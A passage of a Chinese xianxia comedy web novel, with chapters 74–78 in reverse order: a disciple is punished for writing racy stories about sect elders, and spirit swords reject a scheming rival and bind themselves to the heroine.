一丝不苟的添了杯水,再端静专注不过的神色,早已默默将茶盏轻轻搁在江献晚面前。 云为泽:“……” 他缓缓缩回指尖,大袖如轻云蔽月般堆叠在膝头。 不知为何,江献晚不忍直视帝隐这连番举动的同时,又觉得有种毛骨悚然的古怪气氛,逐渐蔓延。 她下意识看了一眼云为泽。 恰好触碰到轻轻掀起睫毛,方从她手中茶盏挪开视线,与她视线很有缘分碰在一起的南帝尊。 云为泽咬了一下唇肉,须臾收回目光。 他若无其事的低头去理衣袖,身体忽然僵了一下,呼吸微微急促,表情凌乱而夹杂着茫然。 脚尖不动声色,将脚下突然凭空冒出,想要绽放的黑色花骨朵,慌张失措的踩回去。 将两人目光交汇,和桌案下异样尽收眼底的帝隐,默默告诫自己。 再不改你就彻底死定了。 再不大度你就彻底别活了。 他轻轻吐出一口气,牵了牵那片柔软的青色衣袖。 江献晚偏过头。 眸子低垂,这么一瞅,表情有些僵硬。 “等等。”帝隐柔声道,将一把正剧烈抖动的灵剑,搁在她手中。 时隔三载,终于再次被江献晚握在手中,灵剑再也绷不住,放声大哭,剑身荡开一层雪色的涟漪。 识海中,陷入沉睡的剑灵,似感受到某种危险,睫毛轻轻一颤。 那种悲伤的气息再次使得江献晚面庞空白了片刻。 听到身侧轻柔的声音,眸光聚焦。 帝隐观她神色不对,再开口时,语气愈发紧张,柔声解释道:“我要走了,它不肯。” 他是来同江献晚告别的。 还要,同她认认真真,一一好好承认,自己犯的那些错。 江献晚拧眉。 她委实不想要这把剑。 实际上,每次看到它,都会让她想起,每次去履行义务的时候,乘的都是它。 这种感觉,真的是,算不上开心。 并且,她素来不喜用剑。 就当她张嘴要拒绝,帝隐欲言又止,犹豫着将雪白的鱼放在她另一只手中,“它也不肯走。” 江献晚:“……” 一剑一鱼抱头痛哭,那叫一个撕心裂肺,惨不忍睹。 闻者伤心,见者流泪。 江献晚跟一剑一鱼大眼瞪小眼,识海的剑灵还在散发着一种难过的气息。 脑袋一疼,将鱼和剑一推,“我带不了。” 帝隐的鱼,她要了,算什么? 这剑,本就未曾与她契约,只是临时拿来飞的。 云为泽垂着睫毛,出神的盯着手中的茶杯,仿佛对两人的拉扯视若无睹。 帝隐轻轻一垂眸,掩去眼底涌上来的温热湿意,指尖缓缓拂过剑身。 江献晚有点无可奈何。 他们两个事,再如何闹,她不想惹北帝尊在南帝尊面前哭。 抱过龙鲤,摸了摸它的两只小角,给鱼洗脑,“鱼小白,你听不听话?” 龙鲤眨巴着鱼眼,泪珠子跟断线似的,想把她淹死,“我想跟你在一起。” 主人也点过头了。 “我知道,”江献晚掐起它,与视线平齐,“可南境的弟子,带着北境的鱼,是不是有些不对?” “不久后就是两境大比,我有时间去看你,怎么样?” 当然,她哄鱼的。 龙鲤哪里听不出来江献晚根本不想要它,包着眼泪,“你骗鱼,你才不会来看我。” 江献晚声音一卡,没想到鱼脑上线了。 撸毛似的摸它两只小角,投降,“不骗,你跟着雾掌门来。” 鱼知道江献晚说来说去,就是不想要它。 它想跟着她,更想乖乖听她的话,抽噎许久,委屈巴巴的点点头,“那你每天都要记得想我。” 又故作凶巴巴道:“不然我撞死你。” 作势拿脑袋去顶她的手。 “……”江献晚哽了一下,“行。” 还撞死她? 江献晚哄好了鱼,又去看哭的直哆嗦的灵剑,眼底难免闪过一丝复杂之色。 帝隐低着头,眼睫织雾,双眸黯淡。 一如琼花缀枝的帝尊,此刻却是零落成泥,面颊赛雪的白,唯有一点唇珠嫩红。 “晚晚,它真的,想你很久了。” 他试探着从衣缘探出一点指尖,轻轻牵上江献晚的衣袖,琉璃似的眸子露出一点可怜的乞求,甚至低声下气。 “你能不能别不要它。” 也别不要我。 他心中清楚,江献晚若今日连这把剑都不肯收,他们之间便再无回旋的余地。 帝隐丝毫不觉得被云为泽看着,自己现在的模样有半分难堪。 龙鲤瞧见自家主人默默湿了眼眶,像被活生生抠了腮,洒上一把盐的可怜样,忍不住弱弱举起鱼鳍,“晚晚,你不要我,能不能收下等等。” “主人真的知道错了,你也知道,他看着跟个人似的,还没鱼聪明。除了鱼从小到大陪他整日呆在巫云殿,他一年到头都没跟人说过几句话。” “他就是脑子笨,说难听点,缺心眼,没早点懂,可他从来没想过跟你分开。鱼是他养大的,鱼可以证明!” “你走之后,他问我,他是不是错了。两年才来寻你,是怕你会误会他是为了……他除去秽气,就带着鱼跑到这里求南帝尊帮忙找你。” “还有,灵泽之露,是雾渺跪下求的,主人真的只是来找你的,没有二心。还是我提醒他,他才想起来问了一句,不信你问南帝尊。” 云为泽下意识点了一下头。 不过,这点事情,显然对于两人之间的矛盾来说,不是重点。 龙鲤小心翼翼的观察她的反应,磕磕巴巴,继续道:“从、从前的事,你怎么打他出气都可以,鱼敢保证,他早就这么想过千次万次,估计还能给你磕一个,方便你打!” “你们睡的房间,那幅整面墙的山水画,后面早就挂满了你的画像!鱼偷看到的,还挨了罚。” 主人有些话不敢说,龙鲤是它养大的,多少明白为什么。 第 78 章 痕剑 可林轻染到底是他师妹,今日又丢了这般大的脸。 想来是无法接受,才会在剑尊眼皮子底下,做出这般掩耳盗铃的举动。 只能硬着头皮,歉意道:“剑尊前辈,我师妹选配剑之时,万古宗的剑也曾对她做出喜爱的举动,今日……” 他说着,露出难耐的神色,有一点绝望,“晚辈也不知为何忽然如此。” 他也很想知道……到底是为什么! 花不休自然耳闻万古宗灵剑朝拜一事,当时传的可谓是沸沸扬扬。 都羡慕雾渺收了个不得了的徒弟。 既然有前例,太虚宗的剑做出这般举动,倒是不算意外。 怪就怪在。 就算太虚宗的剑看上了旁的宗门的弟子,自是有自由择主的权利,大可以开开心心跟了去。 太虚宗更不会小家子气。 这也是各宗之间的默契。 她若真契约了太虚宗的剑,无妨。 但眼下发生灵剑集体反水暴走的状况,就不由让人深想。 花不休暂时看不出她身上有何古怪,没有继续深究。 及地的阔袖拖曳出一抹青色流痕,不见如何动作,在场的人感受到一股绝对的压制。 所有的剑被一缕淡若云烟,而又令它们生不出半分反抗的恐怖力量拂过。 乖乖收起浑身怒气,迅速调整方队,绕开弟子,老老实实调头冲向后山剑冢。 痕剑又凌空狠抽了林轻染一下,咻地回到江献晚面前,小心翼翼去蹭她。 刚撕开盘在脑袋上的小紫的江献晚,这一刻看花不休的眼神都不对了。 没想到,原来这就是花美人的真正实力。 牛逼啊! 看来,他之前操练暴打他们的时候,算的上格外仁慈了。 接收到四个孽徒惊悚的目光,花不休脑袋一歪,唇角露出一抹缱绻,啊呸! 魔鬼笑意! 四人:“……” 江献晚不关心抱起林轻染随明长老离开的裴长安,想跟花美人说说剑的事,花不休一摆手,“不知。它既跟了你,便收着。” 江献晚:“可……” 面对孽徒的疑问,花不休笑眯眯的晃了晃指尖,只有两个字,“滚蛋!” 他也挺意外的。 但他确实不知这把剑的来历。 只知这剑曾经受过重创,剑灵陷入沉睡,旧主多半早已飞灰湮灭。 没曾想,被江献晚意外唤醒,还是一副上赶着,又怕又爱,小心翼翼的模样。 那把剑与江献晚契约之际,眉心又显现出两道契印。 倒不知此事是好是坏。 江献晚麻溜的滚了。 “说真的,它很奇怪。” 这把剑剑灵极其虚弱,随时会消散一般。 好像很怕她,又很喜欢她。 苏清流发出诚恳的辣评:“这把剑有点丑。” 白子夜左看右看,“小东西,丑的还挺别致。” 林玉锦:“这么丑的剑怎么拿出来用,要不卖破烂吧?” 江献晚沉默了片刻,“那个,它好像不丑。” 不仅不丑,还挺漂亮。 苏清流看了她一眼,没说话。 白子夜也看了她一眼,也没说话。 林玉锦替他俩说,“小师妹,我知道你品味一向变态,但是说真的,你是不是……有点瞎?” 江献晚:“……?” 没有得到认可的痕剑,轻轻一颤。 强撑着,剑身金光微微一闪,露出原本模样。 它这么一亮相,三个少年顿时露出惊艳的目光。 此剑薄如蝉翼,剑身修长。 色如山涧寒溪清冽,晶亮如霜,剑纹犹如星辰,剑身一痕潋滟着恍若水纹的金色微芒,自上而下,贯穿剑身。 给人一种凌厉而又柔软的复杂感,却又相辅相成,极其玄妙。 苏清流指骨轻轻敲击着手臂,若有所思,“看起来很强,但没见过。” 他熟知灵剑谱上的每一把灵剑。 剑老大能碾压其他剑,不该是默默无闻,不被世人所知。 江献晚微微拧眉,低声道:“它叫痕剑。” 在契约成功的那一刻,江献晚便与痕剑有了感应,自然也看到了那美的如梦如幻的虚弱剑灵。 “痕剑?” 苏清流细细思索,试图从脑中翻出此剑的信息,还是摇摇头,“并未听说过。” 白子夜目光很是火热,握了指尖滴溜溜的笔,“说真的,它可真漂亮,我从没见过比它还漂亮的剑。” 只是,他们也只来得及惊艳一秒。 痕剑闪了一下,再次变成灰扑扑的样子。 林玉锦摸着下巴,“漂亮没用啊,它受了重创,这得养到猴年马月啊!” 痕剑:“……” 虚弱的剑灵微微蜷缩,乌睫阖落,浓密的睫毛下,无声沁出一滴泪意。 这种感觉使得江献晚又是一愣,心头莫名生出一种难以言喻的烦躁。 剑灵在难过。 亦在害怕。 她垂眸凝视着锈迹斑斑的长剑,指尖下意识摩挲几下。 再开口,嗓音是自己都未曾发觉的干涩。 “无妨。” 剑灵睫毛一颤,茫然的睁开浅金色的眸子,双眼濛濛水汽萦绕,眼尾洇出一片潮湿的红痕。 终是沉沉陷入昏睡。 回到住处,江献晚蹲在院中拿着痕剑翻来覆去查看半天,忽然被一缕灵力丝线拉上了潋浮台。 她在半空中正好看到堪堪来到她院落外的北帝尊。 云为泽显然也没想到如此凑巧,灵力丝线僵了一下,再收回已是来不及。 江献晚抬手挥开轻纱,无奈道:“帝尊。” 云为泽难得尴尬,“巧合巧合。” 两人说话的时间,那玄衣银发的男人拐弯,掉头,犹犹豫豫转脚跟来潋浮台。 云为泽张了张唇瓣,解释道:“我只是想看看那把剑。” 江献晚眉心为何会出现两道契印。 帝隐缓缓点头。 江献晚看了看云为泽,又看了看北帝尊。 “弟子见过北帝尊。” 帝隐:“……”又弟子了吗? 他抿了抿唇瓣,玉白的手指垂回袖中,“晚晚。” 江献晚胡乱一点头,转眸朝云为泽询问,“帝尊知道这把剑的来历?” 云为泽刚才就意识到了帝隐寻江献晚是有事要说,犹豫一下,“要不,你们先谈?” 江献晚:“……” 她沉默,准备离开,帝隐忽然温声道:“无妨。” 他不怕云为泽笑话。 他活该。 第 77 章 它们不是叛徒 却见她素手指向江献晚手边的剑,纠结的拧起眉尖,惊讶中掺着无辜,煞有其事,“它好像在召唤我,要我与它契约。” 暗地里让系统帮助她释放出更恐怖的威压。 太虚宗弟子一脸震惊。 什么叫召唤她与她契约! 你要不要看看我们太虚宗可是有两个天生剑骨! 痕剑被她无耻到了,气的直哆嗦。 尤其江献晚拿‘原来就是你这个叛徒啊’的眼神瞅了它一眼,瞬间炸毛。 它今日若是被这个女的给强行契约,还不如自己把自己掰折,以示清白! 除了江献晚,其他公的母的,休想碰它半分! 痕剑剧烈抖动,用那点微弱的快要消散的灵智,剑身猛然爆发出一片刺目金光,强行挣脱束缚,即将扑向林轻染的剑身陡转。 一剑扎进江献晚怀中,并蹭了蹭她指尖的鼻血,化作一抹金光,麻溜地没入江献晚体内。 它速度快的不可思议,江献晚阻拦的手抓了个空。 两道契约金印在她眉心一闪而逝。 其他剑看到这一幕,大为感悟,都想去蹭江献晚的鼻血,被一道冰冷而强势的剑意狠狠压的贴回地面! 刚赶到,恰巧看到这一幕的徐燕洲众人:“……!” 江献晚:“……!”不是,什么东西进她识海了? 林轻染:“……!”她剑呢?! 林轻染表情陡然空白,微微伸出,等待痕剑的手,还悬僵在半空中。 她双眸瞪的滚圆,立在原地,被突如其来的变故打的不知所措,还未回过神,脑中忽然再次毫无征兆的响起尖锐的爆鸣声。 与此同时,所有的剑摆脱控制。 一把破破烂烂的剑带着滔天的杀意呼啸而出,直奔她而来! 几乎是同一时间,剑冢的剑全跟着动了。 打死这个让它们丢脸的偷剑贼! 它们要让太虚宗所有的人知道—— 它们不是叛徒! 转眼间,场景翻天一变,清脆的啪啪声作响,一秒恨不得十个耳光。 林轻染根本躲不开里三层外三层的包围。 众人:“……” “啊!” 演武场骤然响起一声凄惨地痛叫,那仙气飘飘的白衣少女被一剑削的猛然回神。 猝然收拢的眸子,倒映铺天盖地劈来的剑,下意识抱头鼠窜。 裴长安三人望着所有的剑全冲上去,胖揍林轻染,呆滞了足足十几秒。 反应过来后,试图靠近阻止,却被数道强大的剑意逼退。 徐燕洲和众长老看的那叫一个目瞪口呆。 弟子们神色更是一言难尽。 不是。 上一秒不是还吹牛逼说剑要跟她结契,下一秒怎么被一群剑给揍了? 徐燕洲站在原地,眼底一片暗色。 那些剑方才不是还对着她做出朝圣的卑微姿态吗? 怎么一转眼,合伙围殴起她了? 能令所有灵剑臣服,又引起所有灵剑的反感,林轻染是如何做到的? 他视线倾斜,看向被三个少年簇拥着,掰着脸,擦鼻血的江献晚。 还有周围表情一致古怪,却没有一个出手阻拦的弟子。 看的出来,他们宗的弟子,好像没几个对林轻染印象好的。 他承认,不管为什么,这一刻,他有种……爽到了的感觉! 他可太感动了。 这些剑还是向着自家人的! 不过,太虚宗的剑暴揍一个小姑娘,这事传出去实在是不大好听。 徐燕洲出神的功夫,林轻染被一群剑抽的扑在地上。 所有的剑都在拼命往里挤,你一剑我一剑,道道剑意,精准无误,横七竖八的朝林轻染身上抽去。 听着此起彼伏,清脆啪啪声不断,还有裴长安他们的求助声,徐燕洲终于回神。 他看的眼皮直跳,不紧不慢抬手释放灵力,试图阻拦闪烁着各种绚丽光芒的灵剑。 而此刻,那个紧紧抱着头,整个人趴在地上的少女,又被几道强悍的威压,压的整个人陷进地下半寸,哇地一声吐出一口血,昏死过去。 徐燕洲不想闹出人命,忙不迭认真起来,散出更多灵力。 然而,被一股莫名力量摁着脑袋,做出那般卑微姿态的剑,如何愿意停手。 它们其中有不少是名声赫赫的前辈留下的名剑,其中上百把更是被录取灵剑榜录,位列在前。 那些生出剑灵的灵剑,比其他剑还要矜傲孤高。 性格虽各有不同,可择主挑剔,碰不到心仪的,宁愿呆在剑冢都不会随意择主。 它们看到剑老大曳出一道含着滔天怒气的金色剑意,碎了徐燕洲的光罩,再次削了林轻染一剑。 纷纷凌空,剑尖直指林轻染! 徐燕洲无奈,不想勉强自家剑,只能向花不休递去一个求救的眼神。 花不休自然不接,缓缓摊开双手,回以一个爱莫能助的动作。 凤仪剑尊不是帮不了,明显是不想。 他缓步上前,指尖轻轻一弹,拨开几把气的哆嗦的剑。 “我很好奇,她做了什么,惹的我宗的剑如此气愤?” “尤其,那一把。” 他指的方向,赫然是调头,小狗似的,委屈去贴捂着鼻尖的江献晚的破烂剑。 好不容易奋力挤进来,扶了林轻染的裴长安愕然抬头,便看到那美不可言的男人双眸渐渐笼上一层晦暗难辨的神色。 他心中一紧,低头去看怀中似乎昏过去的林轻染。 炼丹大赛时的那些疑虑和不解,在这一瞬,陡然放大。 他也很想知道。 炼丹大赛那日发生的那些荒谬怪诞之事。 还有这些剑。 明明前一刻对着她做出卑微的姿态,下一刻便翻脸无情,全部暴走。 万古宗也有剑冢,林轻染去选灵剑时,也曾出现灵剑朝拜的一幕。 他当时虽很是诧异,倒没多想什么,只觉得自己的师妹,是难得一见的天才。 可今日再次出现这种情况,结局反而发生天翻地覆的反转,裴长安百思不得其解。 他低着头,探究的视线落在林轻染身上。 突然有种,从来没有看透过这个师妹的感觉。 林轻染被打的很惨。 那些剑知晓轻重,不会杀她,但也不会留手。 她从未想过她再次丢尽了颜面,还失去了痕剑,比炼丹大赛时还要绝望、难堪,果断选择装死。 裴长安半扶着她,如何察觉不到她在逃避。 那种古怪的感觉愈发浓重。 第 76 章 为何又是这种感觉 谁料,她满怀信心,刚爬上凤仪台,还没看清树上那扭成麻花,闪闪发光的一坨东西,被凌空一鞭抽飞! 等她从草丛中醒来,已是第二晚寅时! 大师兄他们竟没找她! 只好忍着浑身的疼痛,回到客房换了身衣裳,又匆匆忙忙赶来演武场。 也不知道江献晚是如何花言巧语,哄的剑冢的剑都跟着她跑。 她一直没机会对江献晚下手,大师兄他们的伤又已大好,没理由再继续赖在太虚宗不走。 她可以暂时不杀江献晚,痕剑却不能错过。 这两年,她勉强点亮了两个美人图鉴。 只是,雾渺和裴长安的好感值一直卡在六十,更对她没那方面的意思。 系统说的双修不仅一次没有,堪堪及格的好感值,亦是无法令系统帮她从二人身上,汲取太多气运。 眼看一个个本该爱上她的美人,避瘟神一般纷纷躲避她,大老远见到她就跑,连见面说话的机会都找不到。 自来到太虚宗后屡屡碰壁,林轻染和系统倍感压力。 好在系统做了最坏的打算,想出另一个补救的办法。 不过,哪怕美人图鉴没有出现这些变故,痕剑与厄弓,她都必须得到。 相对于危险重重,在虚古境的那把厄弓来说,痕剑近在眼前,手到擒来。 她自然不愿错过这个机会。 痕剑也好,厄弓也罢,她全都要。 十八位气运之子,容貌地位皆是出色,她亦是一个都不想放弃。 待她借着痕剑或厄弓之力,成为界皇,到时,十八位美人图鉴,哪怕再不愿,也得乖乖跪在她脚边。 林轻染定了定心,再次恢复好心情。 得知剑冢的剑都聚在演武场,立刻前往。 她失去的面子,今日定要统统拿回来! 她要当着太虚宗所有人的面,契约了灵休帝尊的剑! 林轻染赶来的时候,江献晚他们还未抄完宗规。 其他弟子或坐或趴或躺,姿势千奇百怪,显然一夜未睡。 还有几个弟子站在那里比比划划,跟脑子有病似的。 林轻染嗤笑一声,这就是南境第一宗吗? 不过如此。 眸光一斜,待看到裴长安三人坐在树杈上,身子一致前倾,认真的模样,林轻染眉尖开始剧烈抽搐。 大师兄怎么也学他们这些不着调的样子! 不过,她没心思管这些。 视线定格在江献晚旁边那一堆剑,和那把看起来平平无奇的破烂剑,顿时热血激荡。 待会儿,就是她扬名南北两境的时刻! 林轻染特意打扮了一番,发髻如云似雾,一身七重雪色纱衣,探出一截纤细的天鹅颈子。 她莲步轻移,缓步走过去。 很快,就有弟子发现了她,眼神立时变的古怪,不约而同往后散开。 沉浸在话本中的剑,敏锐的察觉到那股令人讨厌的气息,开始躁动不安。 这个坏女人又来了! 剑恨的咬牙切齿,又怕那种莫名的力量再次操控它们,争先恐后往江献晚身边挤。 江献晚手边的剑老大,剑身微微颤动,晕散开一股冷戾的气息。 她正埋着头奋笔疾书,不耐烦地让剑肃静,根本没有注意周围异样。 林轻染步履飘逸优雅,穿过一众弟子,停在江献晚不远的距离,霎时生出一种愉悦的快感。 少女被倒吊在竹竿上,旁边是一摞厚厚的宗规,一脸苦大仇深的模样。 这狼狈的一幕,着实取悦到了林轻染。 她眼尾上挑,扫过墙根排排倒立的亲传,目光再次回到江献晚手边的痕剑。 迫不及待,暗暗让系统助她释放出威压,一边面露担心,主动打招呼,“江师妹,你们……” “咔嚓——” 她一句话还没说完,竹子毫无征兆,忽然从中间断裂。 江献晚愣了一下,反应很快。 只是…… 双手撑地时,两只骨腕一拧,一个倒栽葱栽了下来。 江献晚:“……” 她什么时候来的? 女主克我! 女主克我啊! 周围的空气随着‘咔嚓’声一滞,倒贴在墙根的苏清流早有防备。 连忙翻下去,稳稳接住了江献晚,自己偏头躲避竹竿的脑袋,却被……重重砸了一下。 苏清流有一瞬间的错愕,迷茫的缓低下眸,落在静静躺在地上的一截竹竿上。 语气淡淡,双眼凌乱,喃喃自语,“此人……与我八字不合。” “小师妹!” “小师妹!” 白子夜和林玉锦紧跟着翻下墙根,围了过来。 “卧槽!摔疼了吧!” “本来就丑。” 小紫盘在江献晚脑袋上,急的左戳戳,右捣捣。 可别摔坏了! 摔坏它上哪听这么多变态的故事。 江献晚坐在地上,无语地捏着被笔戳中的鼻尖,摆手让师兄冷静。 接过不知谁递来的帕子捂上鼻子,似乎很无奈,“林道友。” 她刚说三个字,被林玉锦死拉硬拽,拖远五米距离。 林玉锦死死圈着江献晚的腰肢,还在往后拖,嗓音撕心裂肺。 “她是克星吗!” “站远点!” “对!就站在那说!你不要过来啊!” 众亲传迅速转移位置,默默挪到江献晚身侧,那些剑忙不迭嗖嗖地跟着飞过去。 还有痕剑! 林轻染:“……?” 克星? 他竟然说她是克星?! 历史重现,她站在一大片空地,含着笑意的唇角,登时僵硬。 立刻马上就现在,再次让系统助她契约! 江献晚脚边的剑老大,再次被那股熟悉的诡异威压笼罩,迫使它恨不得立刻扑进林轻染怀中。 其他剑亦是收到牵连,控制不住,跟着嗡鸣不止。 更诡异的,还在后面。 这一刻,在场所有弟子的剑,都像是受到了某种感应,齐齐嗡鸣回应。 时云霄和秦秦视线在半空交汇,望着熟悉的一幕,再次愣住,随即,目光扭曲的剜在林轻染身上。 其他不知情的弟子更懵,只能用力扣着剑柄。 林轻染余光瞥见数道流光从不同的山头掠来,唇角勾出愉悦的弧度。 尤其痕剑抵制不住的颤抖,回应臣服。 她马上就可以当着所有人的面一雪前耻! 林轻染很有自知之明的选择忽略方才的被冒犯,故作震惊地开口,“为何又是这种感觉?” 众人:“……” 妈的。 什么感觉? 第 75 章 相见恨晚 江献晚:“……”花美人,你是要杀了我吗? 众人:“……?” 蹲在人群中,看热闹的裴长安三人:“……?” 吃瓜怎么突然吃到自己家了? 不对……这些书名为何会有种分外熟悉的感觉。 江献晚幽怨地瞅向林玉锦:你把我书给他了?你真的把我书给他了? 后者迷茫三秒,眼珠子缓慢一转,惊悚的张大嘴巴:卧槽!花美人偷我书! 江献晚:“……” 在又挨了两戒尺,含泪交出两摞,并试图挣扎一下,“我也是买的。” 林玉锦昧着良心作证,“对!我可以帮小师妹作证!她是买的!” 苏清流和白子夜异口同声,语气坚定,“对!买的!” 林老三在小师妹被拐来的第一天,就激动万分的把小师妹出卖了。 这些书,他们都看过。 那咋了,写的多好啊! 众人的目光笔直的落在封面那一行,‘无情北帝尊非要同我生一堆猴子’,纷纷倒抽一口凉气。 好家伙! 她是不打算在两境混了? “别以为我不知道你们四个兔崽子同流合污,还好意思作……” 徐燕洲骂声一止,看清手中最上面的那本书,更是难得沉默,显然没想到北帝尊也有份。 生猴子! 还一堆! 他俩是猴子还是老母猪! 他哆嗦着手指,狠狠戳封面下边,那四个扭成麻花的署名,“买的!那你告诉我这个相见恨晚是谁!” 江献晚:“……”失策,现在改名,来得及吗? 众人:“……?!” 裴长安面色猝然一变,再忍不住失声叫道:“相见恨晚!就是那个被我师尊下令通缉的相见恨晚吗!” 江献晚:“……我冤枉啊!” 狗雾渺,竟然通缉她! 潋浮台凉亭,两位帝尊遥望鸡飞狗跳的一幕,一阵诡异无言。 江献晚一口咬定偶然在一个摊位上买的。 最终一群亲传弟子倒立默写宗规,一百遍。 江献晚……一千遍。 看吧。 这就是对天才的另一种肯定和重视。 江献晚真的要哭了。 一千遍,她要抄到猴年马月。 楚微凝一边写,一边恨铁不成钢,“江献晚!你这个棒槌!为什么不先讲帝尊的那本!” 祝茵曼痛心疾首,气的划拉的飞快的笔尖都在哆嗦,“就是!你说你是不是傻!怎么都交出来了!” “我好想听北帝尊的!” “还有雾掌门的!” “那个相见恨晚真的不是你?” “还有吗?还有吗还有吗?!” “剑尊的有吗?” “三域的有吗?妖域殿下,魔皇,嗯?” “这么好的东西你竟然藏着掖着!懂不懂什么叫分享!江献晚,你太令人失望了!!!” “别说,我曾经见一个内门弟子在看一本‘怀了妖王的孩子,最后与仙尊成了亲’,是不是也是你写的?!” 江献晚:“……” “停!” 江献晚换了一只手,“别吵了!你们吵的我头疼!” “那你现在给我们讲!” “我要听北帝尊的!” “我想听咱们帝尊的!” “我想听我师尊的!” “凤仪剑尊!!!我永远的男神!!!” “你好变态啊~不过我好喜欢。” “彼此彼此~咱们都挺变态的。” “拉倒吧,你们加起来,都变态不过江献晚!” 一群亲传叽叽喳喳吵的不可开交,徐燕洲和众长老手里各个攥着一本书,神色狰狞地坐在大殿。 只是……不一会儿,安静的殿中,便响起了簌簌的翻书声。 花不休支颐侧卧,花枝般的指尖轻轻敲击瓦片,远远望着笔杆子快要抡冒烟的孽徒,坏坏一笑,功不留名。 呵,小混蛋,敢写他! 若不是他无意间发现林玉锦津津有味地捧着一本书,笑的春心荡漾,还真不知道。 林玉锦那个棒槌何时认真的看过一本书了! 别说,写的还真……合他胃口。 江献晚在众亲传逼问下,硬是不承认,死死咬定是她买的。 她不得不感叹了一把,幸好她有先见之明。 来了南境后,没敢让风回雪卖这些由南北两境高层改编的小说,而是放在黑市的书铺,她拿分成。 不过,为了打发不停唾弃她的同门,也为了打发这难熬的时间,江献晚还是忧伤的屈服了。 一只脚艰难地点在竹竿,一手撑地,一手写字,一心两用,继续演讲。 那群被遗忘的剑鬼鬼祟祟又摸了过来,自觉的排好队。 江献晚余光瞥见树杈上探头探脑的紫色劫雷,心花怒放,“小紫!快来!” 听了一夜故事的小紫别别扭扭:干嘛。 “听故事啊,你不来吗?快点,顺便把我绑竹竿上。” 小紫:“……” 禁不住众人催促,更禁不住变态故事的诱惑,小紫磨磨蹭蹭从树上秃噜下来,将自己盘在竹竿上……捆了江献晚。 这竹子虽细,但吸收了天地灵气,承重力不错。 江献晚整个人被五花大绑,左手掏出一只毛笔,两手振笔疾书,埋头苦写。 讲故事的任务就落在了林玉锦身上。 少年声线干净,情感丰富,那叫一个绘声绘色,听的人小脸通红,宗规写的也不走心。 相对其他两眼重新放光,各个荡漾的亲传,只有江献晚苦大仇深,疯狂内卷。 天还未黑,演武场渐渐涌来更多的弟子,数量之多,像是……全来了。 大多数端着碗,拿着馒头,蹲在远处,边吃边听。 屋顶上、树杈上,更是挤的满满登登。 有的直接坐在江献晚他们旁边,顺便为各位亲传提供茶水点心服务。 更有甚者激动的主动举手,想要当众演一个。 裴长安三人蹲在树杈上,心情格外复杂。 他们就想知道—— 相见恨晚到底是不是江献晚! 为什么会有这么多……变态的故事啊! —— 随着灵鹤啼鸣,东方将白,林轻染一身白衣翩跹来到演武场。 亲传全部受罚的动静闹的极大,她自然听说了。 想到这几日的糟心事,她恨恨咬了咬牙。 就当她在系统的帮助下,享受众剑臣服,将要契约了那把剑。 关键时刻,徐燕洲那个老不死的竟然赶了过来。 痕剑拼命挣脱她的掌控,契约未成,自己反而遭到反噬。 前晚她准备悄悄去后山,再次契约,谁知,剑冢那么多的剑全不见了! 就连那把痕剑! 她以为是徐燕洲将所有的剑全藏了起来,冷冷一笑,让系统感应痕剑位置。 得知痕剑在凤仪台,立刻马不停蹄前往,准备顺势找个借口登门拜访花不休。 趁机当着他的面召唤痕剑,达到使他惊艳的效果。 第 74 章 一溜烟亲传 江献晚:“女人,你在玩火。” 秦秦:“……?” 楚微凝:“……” “说啊!” “秦师兄你快说啊!” “是啊!你倒是说啊!” 亲传这个急啊! 剑也很急。 当然,还有挂在树梢上,急的竖起身的紫色劫雷,和窝在江献晚膝头,狂吐泡泡的龙鲤。 道道急不可耐的催促声中,秦秦顶着一众火辣辣的视线,脖颈潮红,掐着楚微凝的面颊,努力咬字,“女人……你在……玩火。” 江献晚:“苏软软腿一软,跌在徐燕洲精悍的胸膛。” 楚微凝:“……” 她腿一软,踉跄一下,但没敢跌。 这点瑕疵,深陷其中的观众不在乎,兴奋的挥舞着双臂,癫狂大叫着,灵石哗啦啦的往外抛。 江献晚抿了口水,满意地从面前一堆灵石小山拉回视线,压着嗓音,继续道:“徐燕洲微微低头,性感的薄唇凑近苏软软的耳畔,嗓音低沉暗哑,带着攻击力十足的欲望。” “我现在就告诉你我是不是男人!” 秦秦楚微凝:“……”确认过眼神,你真的不是人! “嗷嗷嗷嗷嗷!” 观众磕疯了,各个举着芥子囊,疯狂抛灵石,剑也跟着疯狂的闪烁耀眼光芒。 秦秦绝望的阖了阖眸,深吸一口,努力调整呼吸,“我、我现在就告诉……” 伴随着一众亲传群魔乱舞的嗷叫,还有一群剑叮叮当当,激动的碰撞。 “砰——” 一声巨响。 听了有一会儿的徐燕洲额角青筋跳的欢快,再忍不住一脚踹开半扇门。 “小兔崽子!我扒了你们的皮!” 众人:“……!” 刘长老和铁长老并肩站在后面,俩人视线一碰,一致嗖地将古怪的目光,挪到面前身高背阔的男子身上,上下狂扫。 徐燕洲不过三十出头,正是男人年龄的最佳时期,眉眼周正,长相英俊锋利。 别说,方才江献晚的语气,配合缠绵悱恻的琴声,还真有那味了,一下子就将人带入进去。 听的他们腿都想软。 秦秦还保持着掐着楚微凝面颊的动作,江献晚一抬头,瞧见气的脸红脖子粗的徐燕洲,再看他身后双双投来怜悯注目礼的两个长老,小脸一变,赶紧举手。 “那个,掌门师伯,我说只是撞名……您信吗?” 徐燕洲凶狠地剜向排排躺平的剑和排排坐的弟子,还有一地的瓜子水果皮,打赏的灵石山。 在看到秦秦和楚微凝的姿势,猛吸一口气,忽然爆喝出声,“我信你个头!都给我滚出来!” 剑:“……”它们要不要也滚出去? 紫色劫雷:“……”不是,你等她讲完! 龙鲤鱼脑一转,悄咪咪离开,去找前主救新主。 一群亲传垂头丧气,被赶鸭子似的赶到了演武场,贴着墙根单手倒立,接受所有弟子的目光洗礼。 “我让你们讲故事!” “我让你们逃课!” “我让你们教坏剑!” “尤其是你!江献晚!” 时云霄向来是各峰亲传领袖,知礼守礼,从不逃课。 翘课也罢,竟跟着其他亲传狂摆手臂,大喊大叫! 哪还有一点风度翩翩的样子! 不知道的,还以为他被鬼附身了! 徐燕洲手持戒尺,跳着脚,无差别,一溜抽过去,留下一道道肉眼几不可察的残影。 江献晚挨的打最多,别人一戒尺,她至少三戒尺。 疼的呲牙咧嘴,痛苦拧眉。 不愧是掌门,打的还真……特么疼。 其他弟子隔岸观火,津津有味。 发生了什么,我勒个,所有亲传,一个不落,都被罚了! 凤仪台牛逼啊。 第一天集体翘课,被各峰亲传追了半天。 第二天就宴请各峰亲传吃上了竹笋炒肉,还是来自掌门的竹笋炒肉。 徐燕洲边骂边打,来回暴走,半天累出一头汗,喘着粗气命人去喊各峰长老,花不休自然也被请了过来。 长老们望着倒立贴饼的一排亲传弟子,嘴角疯狂抽搐。 